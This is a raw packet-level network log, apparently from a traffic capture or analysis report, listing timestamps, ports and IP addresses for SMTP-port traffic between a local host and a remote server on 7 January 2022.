Jan 7, 2022 15:54:45.559617043 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.559628010 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.559634924 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.559645891 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.559653044 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.559664011 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.559668064 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.559690952 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.559696913 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.559701920 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.559712887 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.559725046 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.559736013 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.559740067 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.559742928 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.559755087 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.559773922 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.559796095 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.559813023 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.559850931 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.559865952 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.559878111 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.559887886 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.559895992 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.559905052 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.559937000 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.559967041 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.560030937 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560043097 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560050964 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560062885 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560070038 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560081005 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560086012 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.560087919 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560096979 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560106993 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560115099 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560116053 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.560153008 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.560182095 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560194016 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560194969 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.560200930 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560213089 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560220957 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560231924 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.560234070 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560240984 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560254097 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560261965 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560269117 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560270071 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.560276031 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560288906 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560296059 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560307980 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560314894 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560316086 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.560323000 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560350895 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.560374022 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560385942 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560388088 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.560394049 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560405016 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560412884 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560425043 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560436010 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.560451031 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560463905 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560477018 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560487986 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560494900 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560506105 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560513973 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560514927 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.560520887 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560537100 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.560549974 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.560583115 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560583115 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.560595036 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560621977 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560631037 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.560632944 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560641050 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560652018 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560662031 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.560714960 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.560736895 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560749054 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560756922 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560767889 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560791969 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.560811043 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560822964 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560832024 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.560833931 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560842037 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560867071 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560931921 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560944080 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560955048 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560966969 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.560977936 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.561007977 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.561017990 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.561029911 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.561041117 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.561052084 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.561064005 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.561074972 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.561085939 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.561098099 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.561109066 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.561120987 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.561131954 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.561142921 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.561172962 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.561183929 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.561196089 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.561207056 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.561307907 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.561321020 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.561331987 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.561338902 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.561351061 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.561357975 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.561368942 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.561377048 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.561388016 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.585108995 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.585129023 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.585141897 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.585153103 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.585164070 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.585175037 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.585185051 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.585196018 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.585206985 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.585216999 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.585227013 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.585242987 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.585256100 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.585267067 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.585278034 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.585289001 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.585393906 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.585407019 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.585417032 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.585428953 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.585439920 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.585450888 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.585460901 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.585547924 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.585563898 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.585577011 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.585587978 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.585601091 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.586934090 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.586954117 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.586961031 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.586971998 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.586980104 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.586987019 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.586992979 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587003946 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587012053 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587022066 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587033987 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587043047 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587049961 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587059975 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587066889 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587076902 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587084055 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587094069 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587100983 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587107897 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587117910 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587125063 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587135077 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587146044 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587157011 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587167025 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587177992 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587188959 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587198973 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587212086 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587224007 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587234020 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587248087 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587255001 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587265015 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587272882 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587282896 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587296009 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587306023 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587316990 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587327957 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587338924 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587349892 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587358952 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587369919 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587380886 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587389946 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587400913 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587410927 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587421894 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587433100 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587671995 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587685108 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587694883 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587704897 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587716103 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587749958 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587867022 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587878942 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587889910 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.587899923 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588428020 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588444948 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588459015 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588469982 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588480949 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588495016 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588509083 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588520050 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588531017 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588542938 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588548899 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588560104 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588567019 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588577032 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588583946 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588594913 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588603020 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588617086 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588624954 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588635921 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588646889 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588656902 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588666916 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588674068 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588680983 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588691950 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588701963 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588712931 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588723898 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588733912 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588743925 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588753939 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588768005 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588782072 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588793039 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588803053 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588814974 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588824987 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588831902 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588841915 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588865995 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588876963 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588884115 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588896990 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588908911 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588922024 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588928938 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588939905 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588947058 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588953972 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588964939 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588973045 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588983059 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588989973 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.588999987 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.589008093 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.589018106 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.589025021 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.589035034 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.589040995 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.589082003 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.589092970 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.589121103 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.589132071 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.589138985 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.589148998 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.589155912 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.589163065 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.589174032 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.589180946 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.589190960 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.589198112 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.589207888 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.589215040 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.589225054 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.589236021 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.589246035 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.589257002 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.589287996 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.589298964 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.681875944 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.708894968 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.709078074 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.709117889 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.709136963 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.709192991 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.709271908 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.709326982 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.709377050 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.735975027 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.735992908 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.736000061 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.736011982 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.736018896 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.736030102 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.736037016 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.736047029 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.736054897 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.736061096 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.736187935 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.736201048 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.736208916 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.736219883 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.736268997 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.736434937 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.736448050 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.736459017 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.736465931 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.736475945 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.736483097 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.736710072 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.736721992 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.736728907 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.736740112 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.736776114 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.736788034 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.736953974 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.736968040 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.736974001 CET	25	49820	108.177.119.26	192.168.2.3
